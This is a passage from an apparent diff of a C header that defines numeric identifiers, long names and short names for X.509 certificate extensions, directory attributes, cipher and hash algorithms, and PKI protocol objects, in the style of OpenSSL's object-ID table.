"Netscape SSL Server Name" +#define SN_netscape_ssl_server_name "nsSslServerName" +#define NID_netscape_ca_policy_url 76 +#define LN_netscape_ca_policy_url "Netscape CA Policy Url" +#define SN_netscape_ca_policy_url "nsCaPolicyUrl" +#define NID_netscape_renewal_url 75 +#define LN_netscape_renewal_url "Netscape Renewal Url" +#define SN_netscape_renewal_url "nsRenewalUrl" +#define NID_netscape_ca_revocation_url 74 +#define LN_netscape_ca_revocation_url "Netscape CA Revocation Url" +#define SN_netscape_ca_revocation_url "nsCaRevocationUrl" +#define NID_netscape_revocation_url 73 +#define LN_netscape_revocation_url "Netscape Revocation Url" +#define SN_netscape_revocation_url "nsRevocationUrl" +#define NID_netscape_base_url 72 +#define LN_netscape_base_url "Netscape Base Url" +#define SN_netscape_base_url "nsBaseUrl" +#define NID_netscape_cert_type 71 +#define LN_netscape_cert_type "Netscape Cert Type" +#define SN_netscape_cert_type "nsCertType" +#define NID_netscape_data_type 59 +#define LN_netscape_data_type "Netscape Data Type" +#define SN_netscape_data_type "nsDataType" +#define NID_netscape_cert_extension 58 +#define LN_netscape_cert_extension "Netscape Certificate Extension" +#define SN_netscape_cert_extension "nsCertExt" +#define NID_netscape 57 +#define LN_netscape "Netscape Communications Corp." +#define SN_netscape "Netscape" +#define NID_anyExtendedKeyUsage 910 +#define LN_anyExtendedKeyUsage "Any Extended Key Usage" +#define SN_anyExtendedKeyUsage "anyExtendedKeyUsage" +#define NID_associated_information 1319 +#define LN_associated_information "X509v3 Associated Information" +#define SN_associated_information "associatedInformation" +#define NID_alt_signature_value 1318 +#define LN_alt_signature_value "X509v3 Alternative Signature Value" +#define SN_alt_signature_value "altSignatureValue" +#define NID_alt_signature_algorithm 1317 +#define LN_alt_signature_algorithm "X509v3 Alternative Signature Algorithm" +#define SN_alt_signature_algorithm "altSignatureAlgorithm" +#define NID_subject_alt_public_key_info 1316 +#define LN_subject_alt_public_key_info "X509v3 Subject Alternative Public Key Info" +#define SN_subject_alt_public_key_info "subjectAltPublicKeyInfo" +#define NID_prot_restrict 1315 +#define LN_prot_restrict "X509v3 Protocol Restriction" +#define SN_prot_restrict "protRestrict" +#define NID_authorization_validation 1314 +#define LN_authorization_validation "X509v3 Authorization Validation" +#define SN_authorization_validation "authorizationValidation" +#define NID_holder_name_constraints 1313 +#define LN_holder_name_constraints "X509v3 Holder Name Constraints" +#define SN_holder_name_constraints "holderNameConstraints" +#define NID_attribute_mappings 1312 +#define LN_attribute_mappings "X509v3 Attribute Mappings" +#define SN_attribute_mappings "attributeMappings" +#define NID_allowed_attribute_assignments 1311 +#define LN_allowed_attribute_assignments "X509v3 Allowed Attribute Assignments" +#define SN_allowed_attribute_assignments "allowedAttributeAssignments" +#define NID_group_ac 1310 +#define LN_group_ac "X509v3 Group Attribute Certificate" +#define SN_group_ac "groupAC" +#define NID_single_use 1309 +#define LN_single_use "X509v3 Single Use" +#define SN_single_use "singleUse" +#define NID_issued_on_behalf_of 1308 +#define LN_issued_on_behalf_of "X509v3 Issued On Behalf Of" +#define SN_issued_on_behalf_of "issuedOnBehalfOf" +#define NID_id_aa_issuing_distribution_point 1307 +#define LN_id_aa_issuing_distribution_point "X509v3 Attribute Authority Issuing Distribution Point" +#define SN_id_aa_issuing_distribution_point "aAissuingDistributionPoint" +#define NID_no_assertion 1306 +#define LN_no_assertion "X509v3 No Assertion" +#define SN_no_assertion "noAssertion" +#define NID_indirect_issuer 1305 +#define LN_indirect_issuer "X509v3 Indirect Issuer" +#define SN_indirect_issuer "indirectIssuer" +#define NID_acceptable_privilege_policies 1304 +#define LN_acceptable_privilege_policies "X509v3 Acceptable Privilege Policies" +#define SN_acceptable_privilege_policies "acceptablePrivPolicies" +#define NID_no_rev_avail 403 +#define LN_no_rev_avail "X509v3 No Revocation Available" +#define SN_no_rev_avail "noRevAvail" +#define NID_target_information 402 +#define LN_target_information "X509v3 AC Targeting" +#define SN_target_information "targetInformation" +#define NID_inhibit_any_policy 748 +#define LN_inhibit_any_policy "X509v3 Inhibit Any Policy" +#define SN_inhibit_any_policy "inhibitAnyPolicy" +#define NID_acceptable_cert_policies 1303 +#define LN_acceptable_cert_policies "X509v3 Acceptable Certification Policies" +#define SN_acceptable_cert_policies "acceptableCertPolicies" +#define NID_soa_identifier 1302 +#define LN_soa_identifier "X509v3 Source of Authority Identifier" +#define SN_soa_identifier "sOAIdentifier" +#define NID_user_notice 1301 +#define LN_user_notice "X509v3 User Notice" +#define SN_user_notice "userNotice" +#define NID_attribute_descriptor 1300 +#define LN_attribute_descriptor "X509v3 Attribute Descriptor" +#define SN_attribute_descriptor "attributeDescriptor" +#define NID_freshest_crl 857 +#define LN_freshest_crl "X509v3 Freshest CRL" +#define SN_freshest_crl "freshestCRL" +#define NID_time_specification 1299 +#define LN_time_specification "X509v3 Time Specification" +#define SN_time_specification "timeSpecification" +#define NID_delegated_name_constraints 1298 +#define LN_delegated_name_constraints "X509v3 Delegated Name Constraints" +#define SN_delegated_name_constraints "delegatedNameConstraints" +#define NID_basic_att_constraints 1297 +#define LN_basic_att_constraints "X509v3 Basic Attribute Certificate Constraints" +#define SN_basic_att_constraints "basicAttConstraints" +#define NID_role_spec_cert_identifier 1296 +#define LN_role_spec_cert_identifier "X509v3 Role Specification Certificate Identifier" +#define SN_role_spec_cert_identifier "roleSpecCertIdentifier" +#define NID_authority_attribute_identifier 1295 +#define LN_authority_attribute_identifier "X509v3 Authority Attribute Identifier" +#define SN_authority_attribute_identifier "authorityAttributeIdentifier" +#define NID_ext_key_usage 126 +#define LN_ext_key_usage "X509v3 Extended Key Usage" +#define SN_ext_key_usage "extendedKeyUsage" +#define NID_policy_constraints 401 +#define LN_policy_constraints "X509v3 Policy Constraints" +#define SN_policy_constraints "policyConstraints" +#define NID_authority_key_identifier 90 +#define LN_authority_key_identifier "X509v3 Authority Key Identifier" +#define SN_authority_key_identifier "authorityKeyIdentifier" +#define NID_policy_mappings 747 +#define LN_policy_mappings "X509v3 Policy Mappings" +#define SN_policy_mappings "policyMappings" +#define NID_any_policy 746 +#define LN_any_policy "X509v3 Any Policy" +#define SN_any_policy "anyPolicy" +#define NID_certificate_policies 89 +#define LN_certificate_policies "X509v3 Certificate Policies" +#define SN_certificate_policies "certificatePolicies" +#define NID_crl_distribution_points 103 +#define LN_crl_distribution_points "X509v3 CRL Distribution Points" +#define SN_crl_distribution_points "crlDistributionPoints" +#define NID_name_constraints 666 +#define LN_name_constraints "X509v3 Name Constraints" +#define SN_name_constraints "nameConstraints" +#define NID_certificate_issuer 771 +#define LN_certificate_issuer "X509v3 Certificate Issuer" +#define SN_certificate_issuer "certificateIssuer" +#define NID_issuing_distribution_point 770 +#define LN_issuing_distribution_point "X509v3 Issuing Distribution Point" +#define SN_issuing_distribution_point "issuingDistributionPoint" +#define NID_delta_crl 140 +#define LN_delta_crl "X509v3 Delta CRL Indicator" +#define SN_delta_crl "deltaCRL" +#define LN_invalidity_date "Invalidity Date" +#define SN_invalidity_date "invalidityDate" +#define LN_crl_reason "X509v3 CRL Reason Code" +#define SN_crl_reason "CRLReason" +#define LN_crl_number "X509v3 CRL Number" +#define SN_crl_number "crlNumber" +#define NID_basic_constraints 87 +#define LN_basic_constraints "X509v3 Basic Constraints" +#define SN_basic_constraints "basicConstraints" +#define NID_issuer_alt_name 86 +#define LN_issuer_alt_name "X509v3 Issuer Alternative Name" +#define SN_issuer_alt_name "issuerAltName" +#define NID_subject_alt_name 85 +#define LN_subject_alt_name "X509v3 Subject Alternative Name" +#define SN_subject_alt_name "subjectAltName" +#define NID_private_key_usage_period 84 +#define LN_private_key_usage_period "X509v3 Private Key Usage Period" +#define SN_private_key_usage_period "privateKeyUsagePeriod" +#define NID_key_usage 83 +#define LN_key_usage "X509v3 Key Usage" +#define SN_key_usage "keyUsage" +#define NID_subject_key_identifier 82 +#define LN_subject_key_identifier "X509v3 Subject Key Identifier" +#define SN_subject_key_identifier "subjectKeyIdentifier" +#define NID_subject_directory_attributes 769 +#define LN_subject_directory_attributes "X509v3 Subject Directory Attributes" +#define SN_subject_directory_attributes "subjectDirectoryAttributes" +#define NID_id_ce 81 +#define SN_id_ce "id-ce" +#define NID_mdc2 95 +#define LN_mdc2 "mdc2" +#define SN_mdc2 "MDC2" +#define NID_mdc2WithRSA 96 +#define LN_mdc2WithRSA "mdc2WithRSA" +#define SN_mdc2WithRSA "RSA-MDC2" +#define NID_rsa 19 +#define LN_rsa "rsa" +#define SN_rsa "RSA" +#define NID_X500algorithms 378 +#define LN_X500algorithms "directory services - algorithms" +#define SN_X500algorithms "X500algorithms" +#define NID_dnsName 1092 +#define LN_dnsName "dnsName" +#define NID_countryCode3n 1091 +#define LN_countryCode3n "countryCode3n" +#define SN_countryCode3n "n3" +#define NID_countryCode3c 1090 +#define LN_countryCode3c "countryCode3c" +#define SN_countryCode3c "c3" +#define NID_organizationIdentifier 1089 +#define LN_organizationIdentifier "organizationIdentifier" +#define NID_role 400 +#define LN_role "role" +#define SN_role "role" +#define NID_pseudonym 510 +#define LN_pseudonym "pseudonym" +#define NID_dmdName 892 +#define SN_dmdName "dmdName" +#define NID_deltaRevocationList 891 +#define LN_deltaRevocationList "deltaRevocationList" +#define NID_supportedAlgorithms 890 +#define LN_supportedAlgorithms "supportedAlgorithms" +#define NID_houseIdentifier 889 +#define LN_houseIdentifier "houseIdentifier" +#define NID_uniqueMember 888 +#define LN_uniqueMember "uniqueMember" +#define NID_distinguishedName 887 +#define LN_distinguishedName "distinguishedName" +#define NID_protocolInformation 886 +#define LN_protocolInformation "protocolInformation" +#define NID_enhancedSearchGuide 885 +#define LN_enhancedSearchGuide "enhancedSearchGuide" +#define NID_dnQualifier 174 +#define LN_dnQualifier "dnQualifier" +#define SN_dnQualifier "dnQualifier" +#define NID_x500UniqueIdentifier 503 +#define LN_x500UniqueIdentifier "x500UniqueIdentifier" +#define NID_generationQualifier 509 +#define LN_generationQualifier "generationQualifier" +#define NID_initials 101 +#define LN_initials "initials" +#define SN_initials "initials" +#define NID_givenName 99 +#define LN_givenName "givenName" +#define SN_givenName "GN" +#define NID_name 173 +#define LN_name "name" +#define SN_name "name" +#define NID_crossCertificatePair 884 +#define LN_crossCertificatePair "crossCertificatePair" +#define NID_certificateRevocationList 883 +#define LN_certificateRevocationList "certificateRevocationList" +#define NID_authorityRevocationList 882 +#define LN_authorityRevocationList "authorityRevocationList" +#define NID_cACertificate 881 +#define LN_cACertificate "cACertificate" +#define NID_userCertificate 880 +#define LN_userCertificate "userCertificate" +#define NID_userPassword 879 +#define LN_userPassword "userPassword" +#define NID_seeAlso 878 +#define SN_seeAlso "seeAlso" +#define NID_roleOccupant 877 +#define LN_roleOccupant "roleOccupant" +#define NID_owner 876 +#define SN_owner "owner" +#define NID_member 875 +#define SN_member "member" +#define NID_supportedApplicationContext 874 +#define LN_supportedApplicationContext "supportedApplicationContext" +#define NID_presentationAddress 873 +#define LN_presentationAddress "presentationAddress" +#define NID_preferredDeliveryMethod 872 +#define LN_preferredDeliveryMethod "preferredDeliveryMethod" +#define NID_destinationIndicator 871 +#define LN_destinationIndicator "destinationIndicator" +#define NID_registeredAddress 870 +#define LN_registeredAddress "registeredAddress" +#define NID_internationaliSDNNumber 869 +#define LN_internationaliSDNNumber "internationaliSDNNumber" +#define NID_x121Address 868 +#define LN_x121Address "x121Address" +#define NID_facsimileTelephoneNumber 867 +#define LN_facsimileTelephoneNumber "facsimileTelephoneNumber" +#define NID_teletexTerminalIdentifier 866 +#define LN_teletexTerminalIdentifier "teletexTerminalIdentifier" +#define NID_telexNumber 865 +#define LN_telexNumber "telexNumber" +#define NID_telephoneNumber 864 +#define LN_telephoneNumber "telephoneNumber" +#define NID_physicalDeliveryOfficeName 863 +#define LN_physicalDeliveryOfficeName "physicalDeliveryOfficeName" +#define NID_postOfficeBox 862 +#define LN_postOfficeBox "postOfficeBox" +#define NID_postalCode 661 +#define LN_postalCode "postalCode" +#define NID_postalAddress 861 +#define LN_postalAddress "postalAddress" +#define NID_businessCategory 860 +#define LN_businessCategory "businessCategory" +#define NID_searchGuide 859 +#define LN_searchGuide "searchGuide" +#define NID_description 107 +#define LN_description "description" +#define NID_title 106 +#define LN_title "title" +#define SN_title "title" +#define NID_organizationalUnitName 18 +#define LN_organizationalUnitName "organizationalUnitName" +#define SN_organizationalUnitName "OU" +#define NID_organizationName 17 +#define LN_organizationName "organizationName" +#define SN_organizationName "O" +#define NID_streetAddress 660 +#define LN_streetAddress "streetAddress" +#define SN_streetAddress "street" +#define NID_stateOrProvinceName 16 +#define LN_stateOrProvinceName "stateOrProvinceName" +#define SN_stateOrProvinceName "ST" +#define NID_localityName 15 +#define LN_localityName "localityName" +#define SN_localityName "L" +#define NID_countryName 14 +#define LN_countryName "countryName" +#define SN_countryName "C" +#define NID_serialNumber 105 +#define LN_serialNumber "serialNumber" +#define NID_surname 100 +#define LN_surname "surname" +#define SN_surname "SN" +#define NID_commonName 13 +#define LN_commonName "commonName" +#define SN_commonName "CN" +#define NID_X509 12 +#define SN_X509 "X509" +#define NID_X500 11 +#define LN_X500 "directory services (X.500)" +#define SN_X500 "X500" +#define NID_sxnet 143 +#define LN_sxnet "Strong Extranet ID" +#define SN_sxnet "SXNetID" +#define NID_blake2s256 1057 +#define LN_blake2s256 "blake2s256" +#define SN_blake2s256 "BLAKE2s256" +#define NID_blake2b512 1056 +#define LN_blake2b512 "blake2b512" +#define SN_blake2b512 "BLAKE2b512" +#define NID_blake2smac 1202 +#define LN_blake2smac "blake2smac" +#define SN_blake2smac "BLAKE2SMAC" +#define NID_blake2bmac 1201 +#define LN_blake2bmac "blake2bmac" +#define SN_blake2bmac "BLAKE2BMAC" +#define NID_ripemd160WithRSA 119 +#define LN_ripemd160WithRSA "ripemd160WithRSA" +#define SN_ripemd160WithRSA "RSA-RIPEMD160" +#define NID_ripemd160 117 +#define LN_ripemd160 "ripemd160" +#define SN_ripemd160 "RIPEMD160" +#define NID_sha1WithRSA 115 +#define LN_sha1WithRSA "sha1WithRSA" +#define SN_sha1WithRSA "RSA-SHA1-2" +#define NID_dsaWithSHA1_2 70 +#define LN_dsaWithSHA1_2 "dsaWithSHA1-old" +#define SN_dsaWithSHA1_2 "DSA-SHA1-old" +#define NID_sha1 64 +#define LN_sha1 "sha1" +#define SN_sha1 "SHA1" +#define NID_sha 41 +#define LN_sha "sha" +#define SN_sha "SHA" +#define NID_desx_cbc 80 +#define LN_desx_cbc "desx-cbc" +#define SN_desx_cbc "DESX-CBC" +#define NID_des_ede3_ofb64 63 +#define LN_des_ede3_ofb64 "des-ede3-ofb" +#define SN_des_ede3_ofb64 "DES-EDE3-OFB" +#define NID_des_ede_ofb64 62 +#define LN_des_ede_ofb64 "des-ede-ofb" +#define SN_des_ede_ofb64 "DES-EDE-OFB" +#define NID_des_ede3_cfb64 61 +#define LN_des_ede3_cfb64 "des-ede3-cfb" +#define SN_des_ede3_cfb64 "DES-EDE3-CFB" +#define NID_des_ede_cfb64 60 +#define LN_des_ede_cfb64 "des-ede-cfb" +#define SN_des_ede_cfb64 "DES-EDE-CFB" +#define NID_des_ede_cbc 43 +#define LN_des_ede_cbc "des-ede-cbc" +#define SN_des_ede_cbc "DES-EDE-CBC" +#define NID_des_ede3_ecb 33 +#define LN_des_ede3_ecb "des-ede3" +#define SN_des_ede3_ecb "DES-EDE3" +#define NID_des_ede_ecb 32 +#define LN_des_ede_ecb "des-ede" +#define SN_des_ede_ecb "DES-EDE" +#define NID_shaWithRSAEncryption 42 +#define LN_shaWithRSAEncryption "shaWithRSAEncryption" +#define SN_shaWithRSAEncryption "RSA-SHA" +#define NID_dsaWithSHA 66 +#define LN_dsaWithSHA "dsaWithSHA" +#define SN_dsaWithSHA "DSA-SHA" +#define NID_dsa_2 67 +#define LN_dsa_2 "dsaEncryption-old" +#define SN_dsa_2 "DSA-old" +#define NID_rsaSignature 377 +#define SN_rsaSignature "rsaSignature" +#define NID_des_cfb64 30 +#define LN_des_cfb64 "des-cfb" +#define SN_des_cfb64 "DES-CFB" +#define NID_des_ofb64 45 +#define LN_des_ofb64 "des-ofb" +#define SN_des_ofb64 "DES-OFB" +#define NID_des_cbc 31 +#define LN_des_cbc "des-cbc" +#define SN_des_cbc "DES-CBC" +#define NID_des_ecb 29 +#define LN_des_ecb "des-ecb" +#define SN_des_ecb "DES-ECB" +#define NID_md5WithRSA 104 +#define LN_md5WithRSA "md5WithRSA" +#define SN_md5WithRSA "RSA-NP-MD5" +#define NID_algorithm 376 +#define LN_algorithm "algorithm" +#define SN_algorithm "algorithm" +#define NID_id_pkix_OCSP_trustRoot 375 +#define LN_id_pkix_OCSP_trustRoot "Trust Root" +#define SN_id_pkix_OCSP_trustRoot "trustRoot" +#define NID_id_pkix_OCSP_path 374 +#define SN_id_pkix_OCSP_path "path" +#define NID_id_pkix_OCSP_valid 373 +#define SN_id_pkix_OCSP_valid "valid" +#define NID_id_pkix_OCSP_extendedStatus 372 +#define LN_id_pkix_OCSP_extendedStatus "Extended OCSP Status" +#define SN_id_pkix_OCSP_extendedStatus "extendedStatus" +#define NID_id_pkix_OCSP_serviceLocator 371 +#define LN_id_pkix_OCSP_serviceLocator "OCSP Service Locator" +#define SN_id_pkix_OCSP_serviceLocator "serviceLocator" +#define NID_id_pkix_OCSP_archiveCutoff 370 +#define LN_id_pkix_OCSP_archiveCutoff "OCSP Archive Cutoff" +#define SN_id_pkix_OCSP_archiveCutoff "archiveCutoff" +#define NID_id_pkix_OCSP_noCheck 369 +#define LN_id_pkix_OCSP_noCheck "OCSP No Check" +#define SN_id_pkix_OCSP_noCheck "noCheck" +#define NID_id_pkix_OCSP_acceptableResponses 368 +#define LN_id_pkix_OCSP_acceptableResponses "Acceptable OCSP Responses" +#define SN_id_pkix_OCSP_acceptableResponses "acceptableResponses" +#define NID_id_pkix_OCSP_CrlID 367 +#define LN_id_pkix_OCSP_CrlID "OCSP CRL ID" +#define SN_id_pkix_OCSP_CrlID "CrlID" +#define NID_id_pkix_OCSP_Nonce 366 +#define LN_id_pkix_OCSP_Nonce "OCSP Nonce" +#define SN_id_pkix_OCSP_Nonce "Nonce" +#define NID_id_pkix_OCSP_basic 365 +#define LN_id_pkix_OCSP_basic "Basic OCSP Response" +#define SN_id_pkix_OCSP_basic "basicOCSPResponse" +#define NID_rpkiNotify 1245 +#define LN_rpkiNotify "RPKI Notify" +#define SN_rpkiNotify "rpkiNotify" +#define NID_signedObject 1244 +#define LN_signedObject "Signed Object" +#define SN_signedObject "signedObject" +#define NID_rpkiManifest 1243 +#define LN_rpkiManifest "RPKI Manifest" +#define SN_rpkiManifest "rpkiManifest" +#define NID_caRepository 785 +#define LN_caRepository "CA Repository" +#define SN_caRepository "caRepository" +#define NID_ad_dvcs 364 +#define LN_ad_dvcs "ad dvcs" +#define SN_ad_dvcs "AD_DVCS" +#define NID_ad_timeStamping 363 +#define LN_ad_timeStamping "AD Time Stamping" +#define SN_ad_timeStamping "ad_timestamping" +#define NID_ad_ca_issuers 179 +#define LN_ad_ca_issuers "CA Issuers" +#define SN_ad_ca_issuers "caIssuers" +#define NID_ad_OCSP 178 +#define LN_ad_OCSP "OCSP" +#define SN_ad_OCSP "OCSP" +#define NID_Independent 667 +#define LN_Independent "Independent" +#define SN_Independent "id-ppl-independent" +#define NID_id_ppl_inheritAll 665 +#define LN_id_ppl_inheritAll "Inherit all" +#define SN_id_ppl_inheritAll "id-ppl-inheritAll" +#define NID_id_ppl_anyLanguage 664 +#define LN_id_ppl_anyLanguage "Any language" +#define SN_id_ppl_anyLanguage "id-ppl-anyLanguage" +#define NID_id_cct_PKIResponse 362 +#define SN_id_cct_PKIResponse "id-cct-PKIResponse" +#define NID_id_cct_PKIData 361 +#define SN_id_cct_PKIData "id-cct-PKIData" +#define NID_id_cct_crs 360 +#define SN_id_cct_crs "id-cct-crs" +#define NID_ipAddr_asNumberv2 1242 +#define SN_ipAddr_asNumberv2 "ipAddr-asNumberv2" +#define NID_ipAddr_asNumber 1241 +#define SN_ipAddr_asNumber "ipAddr-asNumber" +#define NID_id_qcs_pkixQCSyntax_v1 359 +#define SN_id_qcs_pkixQCSyntax_v1 "id-qcs-pkixQCSyntax-v1" +#define NID_id_aca_encAttrs 399 +#define SN_id_aca_encAttrs "id-aca-encAttrs" +#define NID_id_aca_role 358 +#define SN_id_aca_role "id-aca-role" +#define NID_id_aca_group 357 +#define SN_id_aca_group "id-aca-group" +#define NID_id_aca_chargingIdentity 356 +#define SN_id_aca_chargingIdentity "id-aca-chargingIdentity" +#define NID_id_aca_accessIdentity 355 +#define SN_id_aca_accessIdentity "id-aca-accessIdentity" +#define NID_id_aca_authenticationInfo 354 +#define SN_id_aca_authenticationInfo "id-aca-authenticationInfo" +#define NID_id_pda_countryOfResidence 353 +#define SN_id_pda_countryOfResidence "id-pda-countryOfResidence" +#define NID_id_pda_countryOfCitizenship 352 +#define SN_id_pda_countryOfCitizenship "id-pda-countryOfCitizenship" +#define NID_id_pda_gender 351 +#define SN_id_pda_gender "id-pda-gender" +#define NID_id_pda_placeOfBirth 349 +#define SN_id_pda_placeOfBirth "id-pda-placeOfBirth" +#define NID_id_pda_dateOfBirth 348 +#define SN_id_pda_dateOfBirth "id-pda-dateOfBirth" +#define NID_id_on_SmtpUTF8Mailbox 1208 +#define LN_id_on_SmtpUTF8Mailbox "Smtp UTF8 Mailbox" +#define SN_id_on_SmtpUTF8Mailbox "id-on-SmtpUTF8Mailbox" +#define NID_NAIRealm 1211 +#define LN_NAIRealm "NAIRealm" +#define SN_NAIRealm "id-on-NAIRealm" +#define NID_SRVName 1210 +#define LN_SRVName "SRVName" +#define SN_SRVName "id-on-dnsSRV" +#define NID_XmppAddr 1209 +#define LN_XmppAddr "XmppAddr" +#define SN_XmppAddr "id-on-xmppAddr" +#define NID_id_on_hardwareModuleName 1321 +#define LN_id_on_hardwareModuleName "Hardware Module Name" +#define SN_id_on_hardwareModuleName "id-on-hardwareModuleName" +#define NID_id_on_permanentIdentifier 858 +#define LN_id_on_permanentIdentifier "Permanent Identifier" +#define SN_id_on_permanentIdentifier "id-on-permanentIdentifier" +#define NID_id_on_personalData 347 +#define SN_id_on_personalData "id-on-personalData" +#define NID_id_cmc_confirmCertAcceptance 346 +#define SN_id_cmc_confirmCertAcceptance "id-cmc-confirmCertAcceptance" +#define NID_id_cmc_popLinkWitness 345 +#define SN_id_cmc_popLinkWitness "id-cmc-popLinkWitness" +#define NID_id_cmc_popLinkRandom 344 +#define SN_id_cmc_popLinkRandom "id-cmc-popLinkRandom" +#define NID_id_cmc_queryPending 343 +#define SN_id_cmc_queryPending "id-cmc-queryPending" +#define NID_id_cmc_responseInfo 342 +#define SN_id_cmc_responseInfo "id-cmc-responseInfo" +#define NID_id_cmc_regInfo 341 +#define SN_id_cmc_regInfo "id-cmc-regInfo" +#define NID_id_cmc_revokeRequest 340 +#define SN_id_cmc_revokeRequest "id-cmc-revokeRequest" +#define NID_id_cmc_getCRL 339 +#define SN_id_cmc_getCRL "id-cmc-getCRL" +#define NID_id_cmc_getCert 338 +#define SN_id_cmc_getCert "id-cmc-getCert" +#define NID_id_cmc_lraPOPWitness 337 +#define SN_id_cmc_lraPOPWitness "id-cmc-lraPOPWitness" +#define NID_id_cmc_decryptedPOP 336 +#define SN_id_cmc_decryptedPOP "id-cmc-decryptedPOP" +#define NID_id_cmc_encryptedPOP 335 +#define SN_id_cmc_encryptedPOP "id-cmc-encryptedPOP" +#define NID_id_cmc_addExtensions 334 +#define SN_id_cmc_addExtensions "id-cmc-addExtensions" +#define NID_id_cmc_recipientNonce 333 +#define SN_id_cmc_recipientNonce "id-cmc-recipientNonce" +#define NID_id_cmc_senderNonce 332 +#define SN_id_cmc_senderNonce "id-cmc-senderNonce" +#define NID_id_cmc_transactionId 331 +#define SN_id_cmc_transactionId "id-cmc-transactionId" +#define NID_id_cmc_dataReturn 330 +#define SN_id_cmc_dataReturn "id-cmc-dataReturn" +#define NID_id_cmc_identityProof 329 +#define SN_id_cmc_identityProof "id-cmc-identityProof" +#define NID_id_cmc_identification 328 +#define SN_id_cmc_identification "id-cmc-identification" +#define NID_id_cmc_statusInfo 327 +#define SN_id_cmc_statusInfo "id-cmc-statusInfo" +#define NID_id_alg_dh_pop 326 +#define SN_id_alg_dh_pop "id-alg-dh-pop" +#define NID_id_alg_dh_sig_hmac_sha1 325 +#define SN_id_alg_dh_sig_hmac_sha1 "id-alg-dh-sig-hmac-sha1" +#define NID_id_alg_noSignature 324 +#define SN_id_alg_noSignature "id-alg-noSignature" +#define NID_id_alg_des40 323 +#define SN_id_alg_des40 "id-alg-des40" +#define NID_id_regInfo_certReq 322 +#define SN_id_regInfo_certReq "id-regInfo-certReq" +#define NID_id_regInfo_utf8Pairs 321 +#define SN_id_regInfo_utf8Pairs "id-regInfo-utf8Pairs" +#define SN_id_regCtrl_rsaKeyLen "id-regCtrl-rsaKeyLen" +#define SN_id_regCtrl_algId "id-regCtrl-algId" +#define NID_id_regCtrl_altCertTemplate 1258 +#define SN_id_regCtrl_altCertTemplate "id-regCtrl-altCertTemplate" +#define NID_id_regCtrl_protocolEncrKey 320 +#define SN_id_regCtrl_protocolEncrKey "id-regCtrl-protocolEncrKey" +#define NID_id_regCtrl_oldCertID 319 +#define SN_id_regCtrl_oldCertID "id-regCtrl-oldCertID" +#define NID_id_regCtrl_pkiArchiveOptions 318 +#define SN_id_regCtrl_pkiArchiveOptions "id-regCtrl-pkiArchiveOptions" +#define NID_id_regCtrl_pkiPublicationInfo 317 +#define SN_id_regCtrl_pkiPublicationInfo "id-regCtrl-pkiPublicationInfo" +#define NID_id_regCtrl_authenticator 316 +#define SN_id_regCtrl_authenticator "id-regCtrl-authenticator" +#define NID_id_regCtrl_regToken 315 +#define SN_id_regCtrl_regToken "id-regCtrl-regToken" +#define NID_id_regInfo 314 +#define SN_id_regInfo "id-regInfo" +#define NID_id_regCtrl 313 +#define SN_id_regCtrl "id-regCtrl" +#define NID_id_it_crls 1257 +#define SN_id_it_crls "id-it-crls" +#define SN_id_it_crlStatusList "id-it-crlStatusList" +#define NID_id_it_certProfile 1255 +#define SN_id_it_certProfile "id-it-certProfile" +#define SN_id_it_rootCaCert "id-it-rootCaCert" +#define SN_id_it_certReqTemplate "id-it-certReqTemplate" +#define NID_id_it_rootCaKeyUpdate 1224 +#define SN_id_it_rootCaKeyUpdate "id-it-rootCaKeyUpdate" +#define SN_id_it_caCerts "id-it-caCerts" +#define NID_id_it_suppLangTags 784 +#define SN_id_it_suppLangTags "id-it-suppLangTags" +#define NID_id_it_origPKIMessage 312 +#define SN_id_it_origPKIMessage "id-it-origPKIMessage" +#define NID_id_it_confirmWaitTime 311 +#define SN_id_it_confirmWaitTime "id-it-confirmWaitTime" +#define NID_id_it_implicitConfirm 310 +#define SN_id_it_implicitConfirm "id-it-implicitConfirm" +#define NID_id_it_revPassphrase 309 +#define SN_id_it_revPassphrase "id-it-revPassphrase" +#define NID_id_it_keyPairParamRep 308 +#define SN_id_it_keyPairParamRep "id-it-keyPairParamRep" +#define NID_id_it_keyPairParamReq 307 +#define SN_id_it_keyPairParamReq "id-it-keyPairParamReq" +#define NID_id_it_subscriptionResponse 306 +#define SN_id_it_subscriptionResponse "id-it-subscriptionResponse" +#define NID_id_it_subscriptionRequest 305 +#define SN_id_it_subscriptionRequest "id-it-subscriptionRequest" +#define NID_id_it_unsupportedOIDs 304 +#define SN_id_it_unsupportedOIDs "id-it-unsupportedOIDs" +#define NID_id_it_currentCRL 303 +#define SN_id_it_currentCRL "id-it-currentCRL" +#define NID_id_it_caKeyUpdateInfo 302 +#define SN_id_it_caKeyUpdateInfo "id-it-caKeyUpdateInfo" +#define NID_id_it_preferredSymmAlg 301 +#define SN_id_it_preferredSymmAlg "id-it-preferredSymmAlg" +#define NID_id_it_encKeyPairTypes 300 +#define SN_id_it_encKeyPairTypes "id-it-encKeyPairTypes" +#define NID_id_it_signKeyPairTypes 299 +#define SN_id_it_signKeyPairTypes "id-it-signKeyPairTypes" +#define NID_id_it_caProtEncCert 298 +#define SN_id_it_caProtEncCert "id-it-caProtEncCert" +#define NID_cmKGA 1222 +#define LN_cmKGA "Certificate Management Key Generation Authority" +#define SN_cmKGA "cmKGA" +#define NID_id_kp_BrandIndicatorforMessageIdentification 1221 +#define LN_id_kp_BrandIndicatorforMessageIdentification "Brand Indicator for Message Identification" +#define SN_id_kp_BrandIndicatorforMessageIdentification "id-kp-BrandIndicatorforMessageIdentification" +#define NID_id_kp_bgpsec_router 1220 +#define LN_id_kp_bgpsec_router "BGPsec Router" +#define SN_id_kp_bgpsec_router "id-kp-bgpsec-router" +#define NID_cmcArchive 1219 +#define LN_cmcArchive "CMC Archive Server" +#define SN_cmcArchive "cmcArchive" +#define NID_cmcRA 1132 +#define LN_cmcRA "CMC Registration Authority" +#define SN_cmcRA "cmcRA" +#define NID_cmcCA 1131 +#define LN_cmcCA "CMC Certificate Authority" +#define SN_cmcCA "cmcCA" +#define NID_sendProxiedOwner 1030 +#define LN_sendProxiedOwner "Send Proxied Owner" +#define SN_sendProxiedOwner "sendProxiedOwner" +#define NID_sendOwner 1029 +#define LN_sendOwner "Send Owner" +#define SN_sendOwner "sendOwner" +#define NID_sendProxiedRouter 1028 +#define LN_sendProxiedRouter "Send Proxied Router" +#define SN_sendProxiedRouter "sendProxiedRouter" +#define NID_sendRouter 1027 +#define LN_sendRouter "Send Router" +#define SN_sendRouter "sendRouter" +#define NID_sshServer 1026 +#define LN_sshServer "SSH Server" +#define SN_sshServer "secureShellServer" +#define NID_sshClient 1025 +#define LN_sshClient "SSH Client" +#define SN_sshClient "secureShellClient" +#define NID_capwapWTP 1024 +#define 